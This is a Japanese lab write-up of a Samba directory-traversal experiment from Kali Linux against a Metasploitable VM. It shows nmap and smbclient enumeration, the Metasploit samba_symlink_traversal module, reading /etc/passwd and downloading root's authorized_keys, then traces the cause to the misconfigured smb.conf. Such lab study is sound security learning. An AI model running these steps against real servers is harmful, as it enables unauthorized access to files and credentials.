ディレクトリトラバーサルの実験

ディレクトリトラバーサルの実験

ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの

詳しくは

ディレクトリトラバーサルの対策

を参考に

KaliLinux と Metasploitableで実験

1
nmap -sV -O -p- 192.168.1.137

により

1
2
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる

まず
smbclient コマンドで情報を集める

smbclient コマンドについては

を参考に

-L オプションを使うことで利用可能なサービス一覧をみれる

1
smbclient -L //192.168.1.137

を実行すると

1
Enter WORKGROUP\root's password:

となるので Enter

結果は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Anonymous login successful
 
    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes!
    opt             Disk     
    IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
 
    Server               Comment
    ---------            -------
 
    Workgroup            Master
    ---------            -------
    WORKGROUP            RASPBERRYPI

となる

この中で怪しいのは

1
tmp             Disk      oh noes!

の部分

Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている

例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる

Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行

1
msfconsole -q

でバナー省略で起動

1
2
3
4
use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.137
set smbshare tmp
exploit

で実行

set rhost で攻撃対象のIPを指定

set smbshare で 対象とする Sharename を指定

結果として

1
2
3
4
5
6
7
8
9
[*] Running module against 192.168.1.137
 
[*] 192.168.1.137:445 - Connecting to the server...
[*] 192.168.1.137:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.1.137:445 - Now access the following share to browse the root filesystem:
[*] 192.168.1.137:445 -     \\192.168.1.137\tmp\rootfs\
 
[*] Auxiliary module execution completed

により tmp 共有フォルダがマウントされているのがわかる

これで smbclient コマンドで
共有フォルダにアクセスできるようになる

一度

1
exit

で抜けて

1
smbclient //192.168.1.137/tmp

というように
//ホスト名/共有名
でアクセスすることができる

1
Enter WORKGROUP\root's password:

となるので Enter でOK

これで help コマンドで使用できるコマンドを調べることができる

この状態で

1
cd rootfs\

とすると rootfs であることがわかる

パスワードファイルの閲覧をするには

1
2
cd etc\
more passwd

で閲覧ができる

ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない

moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド

を参考に

more の画面から抜けるには q を押せばOK

次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード

1
2
3
cd \rootfs\root\.ssh
get authorized_keys
exit

これで
KaliLinux のカレントディレクトリにダウンロードされる

これらの原因をみるには一度 metasplotable にログインし
設定を確認

1
ssh msfadmin@192.168.1.137

で ssh でパスワード認証でログイン

1
2
3
The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])?

となるので
yes を入力

1
msfadmin@192.168.1.137's password:

となるので
パスワードは mfsadmin を入力

これでログインできるので

1
vim /etc/samba/smb.conf

でファイルを開き
shift + g で最終行に移動

なお vim の操作については
Vim初心者に捧ぐ実践的入門

を参考に

ほかにも vim 使い方で検索するとでてくる

1
2
3
4
5
6
7
8
9
10
11
[tmp]
   comment = oh noes!
   read only = no
   locking = no
   path = /tmp
   guest ok = yes
 
[opt]
   read only = yes
   locking = no
   path = /tmp

となっていて

guest ok = yes
により認証なしの共有フォルダになっているのが原因